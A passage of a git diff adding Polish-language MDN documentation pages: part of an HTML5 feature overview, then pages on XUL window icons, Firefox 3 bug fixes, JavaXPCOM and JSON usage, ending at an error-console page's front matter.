+ <dd>Firefox 3 wspiera zdarzenia WHATWG online i offline, dzięki czemu aplikacje i dodatki mogą wykryć czy istnieje aktywne połączenie internetowe, a także wykrywać kiedy połączenie wygaśnie i kiedy jest aktywne.</dd>
+ <dt><a href="/en-US/docs/DOM/Storage" title="DOM/Storage">Sesje WHATWG po stronie klienta i trwałe przechowywanie (aka Magazyn DOM)</a></dt>
+ <dd>Sesje po stronie klienta i trwałe magazynowanie pozwalają aplikacjom sieciowym przechowywać dane strukturalne po stronie klienta.</dd>
+ <dt><a href="/en-US/docs/IndexedDB" title="IndexedDB">IndexedDB</a></dt>
+ <dd>IndexedDB jest sieciowym standardem przechowywania znacznych ilości danych strukturalnych w przeglądarce i wysokiej wydajności wyszukiwania w tych danych za pomocą indeksów.</dd>
+ <dt><a href="/en-US/docs/Using_files_from_web_applications" title="Using_files_from_web_applications">Używanie plików z aplikacji internetowych</a></dt>
+ <dd>Wsparcie dla nowego API plików HTML5 zostało dodane do Gecko, tworząc możliwość dostępu aplikacji internetowych do plików lokalnych wybranych przez użytkownika. Obejmuje też wsparcie dla wielokrotnego wyboru plików z użyciem <span style="font-family: monospace;">{{HTMLElement("input")}}</span> z <strong><a href="/en-US/docs/HTML/Element/Input#attr-type" title="HTML/Element/input#attr-type">atrybutem type</a></strong> <span style="font-family: courier new;">file</span> i nowym atrybutem elementu: <a href="/en-US/docs/HTML/Element/Input#attr-multiple" title="HTML/Element/input#attr-multiple"><strong>multiple</strong></a>. Istnieje także <a href="/en-US/docs/DOM/FileReader" title="DOM/FileReader"><code>FileReader</code></a>.</dd>
+</dl>
+
+<h2 id="Multimedia" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3835/HTML5_Multimedia_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Multimedia</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">Zastosowanie elementów audio i video w HTML5</a></dt>
+ <dd>Znaczniki {{HTMLElement("audio")}} i {{HTMLElement("video")}} pozwalają osadzać i manipulować nowymi zawartościami multimedialnymi.</dd>
+ <dt><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a></dt>
+ <dd>Ta technologia, w której RTC oznacza Komunikację Czasu Rzeczywistego(Real-Time Communication), pozwala na łączenie się z innymi i kontrolowanie wideokonferencji bezpośrednio z przeglądarki, bez potrzeby korzystania z wtyczek lub zewnętrznych aplikacji.</dd>
+ <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="DOM/Using_the_Camera_API">Używanie API kamery internetowej</a></dt>
+ <dd>Pozwala używać, manipulować i przechowywać obrazy z kamerki komputerowej.</dd>
+ <dt>Track and WebVTT</dt>
+ <dd>Znacznik {{HTMLElement("track")}} pozwala  tworzyć napisy i rozdziały. <a href="/en-US/docs/HTML/WebVTT" title="HTML/WebVTT">WebVTT</a> jest formatem ścieżek tekstowych.</dd>
+</dl>
+
+<h2 id="EFEKTY_I_GRAFIKA_3D" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3841/HTML5_3D_Effects_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">EFEKTY I GRAFIKA 3D</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Canvas_tutorial" title="Przewodnik po Canvas">Przewodnik po Canvas</a></dt>
+ <dd>Informacje o nowym elemencie <code>{{HTMLElement("canvas")}}</code> wraz z opisem jak działa użyty do rysowania grafik i obiektów w Firefoksie.</dd>
+ <dt><a href="/en-US/docs/Drawing_text_using_a_canvas" title="Drawing_text_using_a_canvas">HTML5 text API dla elementów &lt;canvas&gt;</a></dt>
+ <dd>HTML5 text API jest teraz wspierane przez elementy {{HTMLElement("canvas")}}.</dd>
+ <dt><a href="/en-US/docs/WebGL" title="WebGL">WebGL</a></dt>
+ <dd>WebGL przenosi grafikę 3D do sieci poprzez wprowadzenie API, które ściśle odpowiada OpenGl ES 2.0 i może być używane w znacznikach HTML5 {{HTMLElement("canvas")}}.</dd>
+ <dt><a href="/en-US/docs/SVG" title="SVG">SVG (Scalable Vector Graphics) - skalowalna grafika wektorowa </a></dt>
+ <dd>Bazujący na XML-u format grafiki wektorowej, który może być bezpośrednio osadzony w HTML-u.</dd>
+</dl>
+
+<div class="section">
+<h2 id="WYDAJNOŚĆ_i_iNTEGRACJA" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3831/HTML5_Performance_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">WYDAJNOŚĆ i iNTEGRACJA</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/DOM/Using_web_workers" title="Using web workers">Web Workers</a></dt>
+ <dd>Umożliwia przekazanie działania JavaScript do wątków w tle, dzięki czemu zapobiega spowalnianiu wydarzeń interaktywnych.</dd>
+ <dt><code><a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code> Poziom 2</dt>
+ <dd>Umożliwia asynchroniczne pobieranie części strony, co umożliwia wyświetlanie elementów dynamicznych, zmieniających się w zależności od czasu i działań użytkownika. Jest to "następca" <a href="/en-US/docs/AJAX" title="AJAX">Ajax-a.</a></dd>
+ <dt>JIT-compiling JavaScript engines (kompilowalne silniki JavaScript)</dt>
+ <dd>Nowa generacja silników JavaScript jest o wiele potężniejsza i ma świetną wydajność.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history" title="DOM/Manipulating_the_browser_history">API do obsługi przycisku wstecz (History API)</a></dt>
+ <dd>Pozwala manipulować historią przeglądania. Jest użyteczne zwłaszcza na stronach ładujących interaktywnie nowe informacje.</dd>
+ <dt><a href="/en-US/docs/HTML/Content_Editable" title="HTML/Content Editable">Atrybut contentEditable: przekształć swoją stronę w encyklopedię!</a></dt>
+ <dd>HTML5 ustandaryzował atrybut contentEditable. Dowiedz się więcej o tej właściwości.</dd>
+ <dt><a href="/en-US/docs/DragDrop/Drag_and_Drop" title="DragDrop/Drag_and_Drop">Przeciągnij i upuść</a></dt>
+ <dd>API 'przeciągnij i upuść' w HTML5 wspiera przeciąganie i upuszczanie elementów wewnątrz strony i pomiędzy stronami. Upraszcza to także API dla dodatków i aplikacji bazujących na technologiach Mozilli.</dd>
+ <dt><a href="/en-US/docs/Focus_management_in_HTML" title="Focus_management_in_HTML">Zarządzanie aktywnością w HTML</a></dt>
+ <dd>Nowe atrybuty HTML5 <code>activeElement</code> i <code>hasFocus</code> są już wspierane.</dd>
+ <dt><a href="/en-US/docs/Web-based_protocol_handlers" title="Web-based_protocol_handlers">Obsługa protokołów opartych na sieci</a></dt>
+ <dd>Możesz teraz zarejestrować aplikacje internetowe jako obsługę protokołów używając funkcji <code>navigator.registerProtocolHandler().</code></dd>
+ <dt><a href="/en-US/docs/DOM/window.requestAnimationFrame" title="DOM/window.requestAnimationFrame"><code>requestAnimationFrame</code></a></dt>
+ <dd>Pozwala kontrolować renderowanie animacji dla uzyskania optymalnej wydajności.1</dd>
+ <dt><a href="/en-US/docs/DOM/Using_full-screen_mode" title="DOM/Using_full-screen_mode">Pełnoekranowe API</a></dt>
+ <dd>Kontroluje użycie całego ekranu dla stron internetowych lub aplikacji sieciowych bez wyświetlania UI przeglądarki.</dd>
+ <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="API/Pointer_Lock_API">Blokowanie kursora</a></dt>
+ <dd>Powala zablokować wskaźnik do zawartości, więc  gry i podobne aplikacje nie utracą aktywności kiedy kursor będzie na granicy okna.</dd>
+ <dt><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Zdarzenia online i offline</a></dt>
+ <dd>Aby stworzyć dobrze obsługującą tryb offline aplikację internetową trzeba wiedzieć, kiedy aplikacja jest rzeczywiście offline. Prawdę mówiąc, musisz wiedzieć też, kiedy aplikacja powróci do stanu online.</dd>
+</dl>
+
+<h2 id="DOSTĘP_DO_URZĄDZENIA" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3837/HTML5_Device_Access_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">DOSTĘP DO URZĄDZENIA</h2>
+
+<dl>
+ <dt></dt>
+ <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="DOM/Using_the_Camera_API">Używanie API kamery internetowej</a></dt>
+ <dd>Pozwala używać, manipulować i przechowywać obrazy z kamerki komputerowej.</dd>
+ <dt><a href="/en-US/docs/DOM/Touch_events" title="DOM/Touch_events">Zdarzenia dotykowe</a></dt>
+ <dd>Narzędzia do obsługi zdarzeń tworzonych przez użytkownika używającego ekranu dotykowego.</dd>
+ <dt><a href="/en-US/docs/Using_geolocation" title="Using geolocation">Geolokacja</a></dt>
+ <dd>Pozwól przeglądarce zlokalizować pozycję użytkownika przy użyciu geolokacji.</dd>
+ <dt><a href="/en-US/docs/Detecting_device_orientation" title="Detecting_device_orientation">Wykrywanie orientacji urządzenia</a></dt>
+ <dd>Pobierz informację o zmianie orientacji urządzenia na którym pracuje przeglądarka. Może ona być użyta jako urządzenie wejściowe( np w grach reagujących na zmianę pozycji urządzenia) lub służyć przystosowaniu layoutu strony do aktualnej orientacji urządzenia (portrait lub landscape)</dd>
+ <dt></dt>
+ <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="API/Pointer_Lock_API">Blokowanie kursora</a></dt>
+ <dd>Powala zablokować wskaźnik do zawartości, więc  gry i podobne aplikacje nie utracą aktywności kiedy kursor będzie na granicy okna.</dd>
+</dl>
+
+<h2 id="stylizacja" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3829/HTML5_Styling_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">stylizacja</h2>
+
+<p><a href="/en-US/docs/CSS" title="CSS">CSS</a> zostało rozszerzone, aby móc o wiele wygodniej stylizować elementy. Jest często nazywane <a href="/en-US/docs/CSS/CSS3" title="CSS/CSS3">CSS3</a>, choć CSS nie jest monolitycznym tworem, w którym wszystkie elementy są na poziomie 3. Część jest na poziomie 1, część na 4, Lub którymś z poziomów pośrednich.</p>
+
+<dl>
+ <dt>Nowe właściwości stylizacji tła</dt>
+ <dd>Teraz jest możliwe dodanie cienia do box-ów używając {{cssxref("box-shadow")}}, a także można ustawić <a href="/en-US/docs/CSS/Multiple_backgrounds" title="CSS/Multiple_backgrounds">wielokrotne tło.</a></dd>
+ <dt>Bardziej fantazyjne obramowania</dt>
+ <dd>Teraz nie tylko możliwe jest stylizowanie obramowań za pomocą obrazów, używając {{cssxref("border-image")}} i związanych z pismem odręcznym właściwościami, ale także zaokrąglenia obramowań są wspierane przez właściwość {{cssxref("border-radius")}}.</dd>
+ <dt>Wpraw w ruch swój styl</dt>
+ <dd>Używając <a href="/en-US/docs/CSS/Using_CSS_transitions" title="CSS/Using_CSS_transitions">Przejść CSS</a> do animacji przejść pomiędzy różnymi stanami lub używając <a href="/en-US/docs/CSS/Using_CSS_animations" title="CSS/Using_CSS_animations">Animacji CSS</a> do animowania części strony, bez zdarzenia wywołującego, możesz teraz kontrolować elementy interaktywne na twojej stronie.</dd>
+ <dt>Poprawa typografii Typography improvement</dt>
+ <dd>Autorzy mają większą kontrolę dla osiągnięcia lepszej typografii. Mogą kontrolować {{cssxref("text-overflow")}} i dzielenie wyrazów, a także mogą dodawać <a href="/en-US/docs/CSS/text-shadow" title="CSS/text-shadow">cienie</a> i precyzyjniej kontrolować <a href="/en-US/docs/CSS/text-decoration" title="SVG/Attribute/text-decoration">dekoracje</a> tekstu. Niestandardowe kroje można pobrać i zastosować za pomocą {{cssxref("@font-face")}}.</dd>
+ <dt>Nowe, prezentacyjne layouty</dt>
+ <dd>W celu polepszenia elastyczności designów zostały dodane dwa nowe layouty: <a href="/en-US/docs/CSS/Using_CSS_multi-column_layouts" title="CSS/Using_CSS_multi-column_layouts">CSS multi-column layout(wielokolumnowy layout CSS) </a>i <a href="/en-US/docs/CSS/Flexbox" title="CSS/Flexbox">CSS flexible box layout(layout elastycznego pudełka CSS)</a>.</dd>
+</dl>
+</div>
+</div>
+
+<dl>
+ <dd></dd>
+</dl>
diff --git a/files/pl/ikony_okna/index.html b/files/pl/ikony_okna/index.html
new file mode 100644
index 0000000000..f354f1e484
--- /dev/null
+++ b/files/pl/ikony_okna/index.html
@@ -0,0 +1,19 @@
+---
+title: Ikony okna
+slug: Ikony_okna
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Toolkit API
+ - Wszystkie_kategorie
+ - XPInstall
+ - XUL
+translation_of: Archive/Mozilla/XUL/Window_icons
+---
+<p>
+</p><p>Pracując z <a href="pl/Firefox_1.5">Firefox 1.5</a>, Thunderbird 1.5, i XULRunner 1.8, możesz określić ikonę dla okna XUL poprzez nazwanie plików &lt;tt&gt;mywindow.ico&lt;/tt&gt; (dla Windows) i &lt;tt&gt;mywindow.xpm&lt;/tt&gt; (Linux), gdzie: <code>mywindow</code> jest <code>id</code> okna (<code>&lt;window&gt;</code>), do którego chcesz dołączyć ikonę umieszczoną w podkatalogu &lt;tt&gt;chrome/icons/default&lt;/tt&gt; Twojej <a href="pl/Paczki">paczki</a>.
+</p><p>Te ikony nadpiszą globalne pliki ikon, które są umieszczona w &lt;tt&gt;<i>app_dir</i>/chrome/icons/default&lt;/tt&gt;.
+</p>
+<h3 id="Starsze_wersje"> Starsze wersje </h3>
+<p>Do obsługi starszych aplikacji, takich jak Firefox 1.0, będzie trzeba najpierw wykonać kopię ikony i ręcznie przenieść ją do &lt;tt&gt;<i>app_dir</i>/chrome/icons/default&lt;/tt&gt; (<a class="external" href="http://forums.mozillazine.org/viewtopic.php?p=1243796#1243796">przykładowy kod</a>).
+</p>
diff --git a/files/pl/istotne_błędy_poprawione_w_firefoksie_3/index.html b/files/pl/istotne_błędy_poprawione_w_firefoksie_3/index.html
new file mode 100644
index 0000000000..f774d5c25b
--- /dev/null
+++ b/files/pl/istotne_błędy_poprawione_w_firefoksie_3/index.html
@@ -0,0 +1,34 @@
+---
+title: Istotne błędy poprawione w Firefoksie 3
+slug: Istotne_błędy_poprawione_w_Firefoksie_3
+tags:
+ - Strony_wymagające_dopracowania
+translation_of: Mozilla/Firefox/Releases/3/Notable_bugs_fixed
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>W tym artykule przedstawiono listę ważnych błędów, które zostały poprawione w Firefoksie 3, lecz nie zostały szczegółowo uwzględnione w dokumentacji.</p>
+
+<ul>
+ <li>W przypadku wystąpienia błędu podczas przetwarzania nakładki nie jest ona stosowana. Błędy przetwarzania są rejestrowane w konsoli błędów ({{ Bug(355755) }}).</li>
+ <li>Rozwiązany błąd, gdzie elementy <code>&lt;menupopup&gt;</code> mogą być umieszczone wewnątrz wiązania podczas gdy zostały przymocowane już do menu lub elementu podobnego do menu. ({{ Bug(345896) }})</li>
+ <li>Własność <code>dlgType</code> przycisków działa poprawnie ({{ Bug(308591) }}).</li>
+ <li>Argument <code>canBubble</code> metody {{ Domxref("event.initEvent") }} działa poprawnie, co pozwala na wywołanie zdarzeń, które nie działają w trybie bąbelkowania ({{ Bug(330190) }}).</li>
+ <li>Zdarzenie <code>DOMAttrModified</code> poprawnie obsługuje atrybuty ze zdefiniowaną przestrzenią nazw ({{ Bug(362391) }})).</li>
+ <li>Instrukcje przetwarzania XML, takie jak <code>&lt;?xml-stylesheet ?&gt;</code>, są dodawane do modelu DOM dokumentów XUL. W wyniku tego własność {{ Domxref("document.firstChild") }} nie zawsze zwraca element główny — należy zamiast niej skorzystać z własności {{ Domxref("document.documentElement") }}. Ponadto instrukcje przetwarzania <code>&lt;?xml-stylesheet ?&gt;</code> i <code>&lt;?xul-overlay ?&gt;</code> nie są wykonywane, jeżeli umieszczono je poza prologiem dokumentu ({{ Bug(319654) }}).</li>
+ <li>Do elementów i dokumentów XUL dodano metodę <code>getElementsByAttributeNS()</code> ({{ Bug(239976) }}).</li>
+ <li>Funkcje obsługi zdarzeń są zachowywane w przypadku przeniesienia lub usunięcia elementu z dokumentu XUL ({{ Bug(286619) }}).</li>
+ <li>Zdarzenia zmiany są teraz wyzwalane dla dokumentów niewyświetlanych ({{ Bug(201236) }}).</li>
+ <li>Poprawiono wiele błędów związanych z nieprawidłową kolejnością rysowania elementów ({{ Bug(317375) }}).</li>
+ <li>Metoda <code><a href="/pl/DOM/element.getElementsByTagName" title="pl/DOM/element.getElementsByTagName">getElementsByTagName()</a></code> została poprawiona i działa teraz prawidłowo dla poddrzew z elementami, których nazwy znaczników zawierają prefiks przestrzeni nazw ({{ Bug(206053) }}).</li>
+ <li>Zdarzenia <code>DOMNodeInserted</code> i <code>DOMNodeRemoved</code> są teraz stosowane do właściwych węzłów ({{ Bug(367164) }}).</li>
+ <li>Sekwencja <code>\d</code>, jeden ze znaków specjalnych w wyrażeniach regularnych, oznacza teraz cyfry wyłącznie z podstawowego alfabetu łacińskiego (odpowiednik sekwencji <code>{{ mediawiki.external('0-9') }}</code>); ({{ Bug(378738) }}).</li>
+ <li>Serwisy oferujące wyszukiwanie obrazków zyskują dostęp do dekoderów obrazków tak jak rozszerzenia poprawnie odkodowane z nieprawidłowymi mime-typami.({{ Bug(391667) }})</li>
+ <li>Kliknięcie prawym przyciskiem myszy na kontrolkach formularzy już nie zmienia menu kontekstowego na domyślne. ({{ Bug(404536) }}. Przeczytaj <a class="internal" href="/En/Offering_a_context_menu_for_form_controls" title="en/Offering a context menu for form controls">Offering a context menu for form controls</a> by nauczyć się jak włączyć to na wszelki wypadek.</li>
+</ul>
+
+<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC">Zobacz również</h3>
+
+<ul>
+ <li><a href="/pl/Firefox_3_dla_programist%C3%B3w" title="pl/Firefox_3_dla_programistów">Firefox 3 dla programistów</a></li>
+</ul>
diff --git a/files/pl/javaxpcom/index.html b/files/pl/javaxpcom/index.html
new file mode 100644
index 0000000000..0f1019e4f6
--- /dev/null
+++ b/files/pl/javaxpcom/index.html
@@ -0,0 +1,28 @@
+---
+title: JavaXPCOM
+slug: JavaXPCOM
+tags:
+ - JavaXPCOM
+ - Wszystkie_kategorie
+ - 'XPCOM:Language Bindings'
+translation_of: Mozilla/Tech/XPCOM/Language_bindings/JavaXPCOM
+---
+<div>
+<p><strong>JavaXPCOM</strong> pozwala na komunikacje pomiędzy Javą i <a href="/pl/XPCOM" title="pl/XPCOM">XPCOM</a>, <strong>such</strong> that a Java application can access XPCOM objects, and XPCOM can access any Java class that implements an XPCOM interface. With JavaXPCOM, a developer can talk to XPCOM or embed <a href="/pl/Gecko" title="pl/Gecko">Gecko</a> from a Java application. JavaXPCOM is very similar to <a href="/pl/XPConnect" title="pl/XPConnect">XPConnect</a> (JavaScript-XPCOM bridge), and uses <a href="/pl/XPIDL" title="pl/XPIDL">XPIDL</a>.</p>
+<p>JavaXPCOM is now built by default as part of <a href="/pl/XULRunner" title="pl/XULRunner">XULRunner</a>. Pobierz ostatni build <a href="/pl/XULRunner_1.8.0.4_Release_Notes" title="pl/XULRunner_1.8.0.4_Release_Notes">XULRunner 1.8.0.4</a>, aby go wypróbować.</p>
+</div>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Dokumentacja"><a href="/Special:Tags?tag=JavaXPCOM&amp;language=pl" title="Special:Tags?tag=JavaXPCOM&amp;language=pl">Dokumentacja</a></h4> <dl> <dt><a href="/pl/JavaXPCOM/Programowanie" title="pl/JavaXPCOM/Programowanie">Programowanie JavaXPCOM</a></dt> <dd><small><strong>How to get and build the source, as well as how to view and report bugs.</strong></small></dd> </dl> <dl> <dt><a href="/pl/JavaXPCOM/Przykłady" title="pl/JavaXPCOM/Przykłady">Przykładowy kod</a></dt> <dd><small><strong>There are several Java test applications checked in to the tree that give examples on how to embed Gecko or init XPCOM from within Java.</strong></small></dd> </dl> <p><span>; <a href="/pl/JavaXPCOM/Embedding_Mozilla_in_a_Java_Application_using_JavaXPCOM">Embedding Mozilla in a Java Application using JavaXPCOM</a>: &lt;small&gt;<a href="/pl/XULRunner">XULRunner</a> ships with the JavaXPCOM component, which allows Java code to interact with XPCOM objects. As you will see in this article, working with XPCOM objects in Java is not that much different than doing so in C++.&lt;/small&gt;</span> <span><a href="/Special:Tags?tag=JavaXPCOM&amp;language=pl" title="Special:Tags?tag=JavaXPCOM&amp;language=pl">Pokaż wszystkie...</a></span></p> </td> <td> <h4 id="Społeczność">Społeczność</h4> <ul> <li>Obejrzyj fora Mozilli...</li> </ul> <p></p><ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-tech-java"> jako listę dyskusyjna</a></li>
+
+
+ <li><a href="http://groups.google.com/group/mozilla.dev.tech.java"> jako newsgroup</a></li>
+ <li><a href="http://groups.google.com/group/mozilla.dev.tech.java/feeds"> jako kanał</a></li>
+</ul><p></p> <ul> <li>Obejrzyj zagnieżdżone fora Mozilli...</li> </ul> <p></p><ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-embedding"> jako listę dyskusyjna</a></li>
+
+
+ <li><a href="http://groups.google.com/group/mozilla.dev.embedding"> jako newsgroup</a></li>
+ <li><a href="http://groups.google.com/group/mozilla.dev.embedding/feeds"> jako kanał</a></li>
+</ul><p></p> <ul> <li><a class="link-mailto" href="mailto:jhpedemonte@gmail.com">Javier Pedemonte</a>, leader projektu JavaXPCOM</li> </ul> <h4 id="Powiązane_tematy">Powiązane tematy</h4> <dl> <dd><a href="/pl/XPCOM" title="pl/XPCOM">XPCOM</a>, <a href="/pl/Zagnieżdzanie_Mozilli" title="pl/Zagnieżdzanie_Mozilli">Zagnieżdżanie Mozilli</a></dd> </dl> </td> </tr> </tbody>
+</table>
+<p></p>
diff --git a/files/pl/json/index.html b/files/pl/json/index.html
new file mode 100644
index 0000000000..6d023ee69c
--- /dev/null
+++ b/files/pl/json/index.html
@@ -0,0 +1,59 @@
+---
+title: JSON
+slug: JSON
+translation_of: Glossary/JSON
+---
+<p><strong>JSON</strong> (<strong>JavaScript Object Notation</strong>) jest formatem wymiany danych. Przypomina podzbiór składni <a href="/pl/docs/JavaScript">JavaScriptu</a>, choć nie jest nim w ścisłym sensie tego terminu. (Zobacz <a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/JSON" title="en/JavaScript/Reference/Global Objects/JSON">JSON</a> w <a href="https://developer.mozilla.org/en/JavaScript/Reference" title="en/JavaScript/Reference">Dokumentacji JavaScript</a> aby poznać szczegóły). Użyteczny w dowolnym rodzaju aplikacji opartej o JavaScript, m.in. na stronach internetowych i w rozszerzeniach przeglądarek. Przykładowo, dane użytkownika w formacie JSON mogą być przechowywane w <a href="/pl/docs/DOM/document.cookie">ciasteczku</a> (cookie), zaś preferencje rozszerzenia mogą być przechowywane w formacie JSON przez przeglądarkę.</p>
+<p>JSON może przechowywać liczby (<code>number</code>), wartości logiczne (<code>boolean</code>), ciagi znaków (<code>string</code>), <code>null</code>, tablice (uporządkowane sekwencje wartości) oraz obiekty (zbiory odwzorowań ciąg znaków-wartość) złożone z powyższych wartości (lub z innych tablic i obiektów). Nie definiuje naturalnej reprezentacji dla bardziej złożonych typów danych, jak funkcje, wyrażenia regularne, daty itd. (Obiekty typu Date są domyślnie serializowane w postaci ciągu znaków zawierającego datę w formacie ISO, zatem choć nie zostają odtworzone w oryginalnym formacie, informacja nie jest bezpowrotnie tracona). Gdy niezbędne jest przechowanie tego rodzaju danych, można przekształcić wartości w momencie serializacji, lub przed ich deserializacją, umożliwiając w ten sposób przechowanie w JSON dodatkowych typów danych.</p>
+<h2 id="JSON_in_Firefox_2" name="JSON_in_Firefox_2">Użycie JSON poprzez obiekt JSON w JavaScripcie</h2>
+<p>Najprościej użyć JSON za pośrednictwem standardowego <a href="/en/JavaScript/Reference/Global_Objects/JSON" title="en/JavaScript/Reference/Global Objects/JSON">obiektu JSON</a> w JavaScripcie. Użyj <a href="/en/JavaScript/Reference/Global_Objects/JSON/stringify" title="en/JavaScript/Reference/Global Objects/JSON/stringify">JSON.stringify</a> do serializacji wartości w formacie JSON, natomiast do deserializacji - <a href="/en/JavaScript/Reference/Global_Objects/JSON/parse" title="en/JavaScript/Reference/Global Objects/JSON/parse">JSON.parse</a>.</p>
+<p>Na przykład, do serializacji obiektu JavaScript używamy metody <code>JSON.stringify()</code>:</p>
+<pre class="brush: js">var foo = {};
+foo.bar = "new property";
+foo.baz = 3;
+
+var JSONfoo = JSON.stringify(foo);
+</pre>
+<p><code>JSONfoo</code> ma teraz postać <code>{"bar":"new property","baz":3}</code>. Aby przywrócić <code>JSONfoo</code> do postaci obiektu JavaScript wystarczy wykonać:</p>
+<pre class="brush: js">var backToJS = JSON.parse(JSONfoo);
+</pre>
+<p>Więcej informacji znajdziesz w dokumentacji <a href="/en/JavaScript/Reference/Global_Objects/JSON" title="en/JavaScript/Reference/Global Objects/JSON">obiektu JSON</a>.</p>
+<h2 id="Metoda_toJSON()">Metoda toJSON()</h2>
+<p>Jeśli obiekt definiuje metodę toJSON(), wówczas JSON.stringify wywoła tę metodę aby określić reprezentację obiektu w formacie JSON. Na przykład:</p>
+<pre class="brush: js">x = {};
+x.foo = "foo";
+x.toJSON = function() { return "bar"; };
+var json1 = JSON.stringify(x);
+</pre>
+<p><code>json1</code> zawiera teraz '"bar"'.</p>
+<h2 id="Ograniczenia">Ograniczenia</h2>
+<p>Nie można serializować obiektu zawierającego funkcje. Specyfikacja JSON nie pozwala na takie działanie. Na przykład:</p>
+<pre class="brush: js">foo.qwerty = function(){alert('foobar');};
+foo.qwerty()
+var JSONfoo = JSON.toString(foo);
+</pre>
+<p>zwróci błąd <code>TypeError on line XXX: No JSON representation for this object!</code></p>
+<h2 id="Użycie_JSON_poprzez_nsIJSON">Użycie JSON poprzez nsIJSON</h2>
+<p>Wersje Firefoksa wcześniejsze niż 3.5 nie zawierały wsparcia dla formatu JSON, zaś jedynym sposobem dotarcia do funkcjonalności JSON było wykorzystanie komponentu <code><a href="/en/XPCOM_Interface_Reference/nsIJSON" title="en/nsIJSON">nsIJSON</a></code>, dostępnego począwszy od Firefox 3. Kodowanie i dekodowanie wykonywane są przez metody <code>encode</code> i <code>decode</code> komponentu <code>nsIJSON</code>. Metody te zakresem możliwości ustępują metodom dostarczanym przez obiekt JSON, zapewniając wsparcie jedynie tablicom i obiektom, z pominięciem ciągów znaków, wartości logicznych, liczb, czy <code>null</code>. (Wymienione wartości są obsługiwane jedynie wewnątrz tablic i obiektów: sama liczba <code>5</code> nie zadziała, lecz obiekt <code>{ "value": 5 }</code> już tak).</p>
+<p>Ze względu na ograniczenia nsIJSON, jego metody encode i decode zostały usunięte począwszy od wersji Firefox 7. Deweloperom zaleca się używanie obiektu JSON.</p>
+<p>Poniższy kod serializuje obiekt JavaScript przy użyciu<code> nsIJSON</code>:</p>
+<pre class="brush: js">var Ci = Components.interfaces;
+var Cc = Components.classes;
+
+var foo = {};
+foo.bar = "new property";
+foo.baz = 3;
+
+var nativeJSON = Cc["@mozilla.org/dom/json;1"].createInstance(Ci.nsIJSON);
+var JSONfoo = nativeJSON.encode(foo);
+</pre>
+<p>Zmienna <code>JSONfoo</code> przyjmuje teraz wartość <code>{"bar":"new property","baz":3}</code>. Aby stworzyć obiekt odpowiadający <code>JSONfoo</code>, wystarczy wykonać:</p>
+<pre class="brush: js">var backToJS = nativeJSON.decode(JSONfoo);
+</pre>
+<h2 id="Using_JSON" name="Using_JSON">Inne sposoby użycia JSON</h2>
+<p>Choć teoretycznie możliwe jest użycie JSON korzystając z <a href="/en/JavaScript/Reference/Global_Objects/eval" title="en/JavaScript/Reference/Global Objects/eval">eval</a> (lecz tylko do deserializacji do obiektu, nie do serializacji do postaci ciągu znaków), lub z <a class="link-https" href="https://github.com/douglascrockford/JSON-js" title="https://github.com/douglascrockford/JSON-js">json2.js</a>, nie jest to dobrym pomysłem. Parsowanie JSON przy użyciu eval nie jest bezpieczne, gdyż eval dopuszcza znacznie więcej rodzajów składni niż JSON (w tym nawet wykonywanie całkiem arbitralnego fragmentu kodu). Z kolei problemem json2.js jest dodawanie metod do wbudowanych obiektów, jak <code>Object.prototype</code>, co może skutkować błędami w kodzie, w którym nie przewidziano z góry takiej możliwości. Dlatego w niemal wszystkich przypadkach zaleca się pozostanie przy normalnych metodach użycia JSON. </p>
+<h2 id="See_also" name="See_also">Zobacz także</h2>
+<ul>
+ <li>{{ interface("nsIJSON") }}</li>
+</ul>
+<p>{{ languages( { "ja": "ja/JSON", "zh-cn": "zh-cn/JSON" } ) }}</p>
diff --git a/files/pl/konsola_błędów/index.html b/files/pl/konsola_błędów/index.html
new file mode 100644
index 0000000000..09ffa36387
--- /dev/null
+++ b/files/pl/konsola_błędów/index.html
@@ -0,0 +1,23 @@
+---
+title: Konsola błędów
+slug: Konsola_błędów
+tags:
+ - 'JavaScript:Narzędzia'
+ - 'Programowanie_WWW:Narzędzia'
+ - 'Rozszerzenia:Narzędzia'
+translation_of: Archive/Mozilla/Error_console
+---
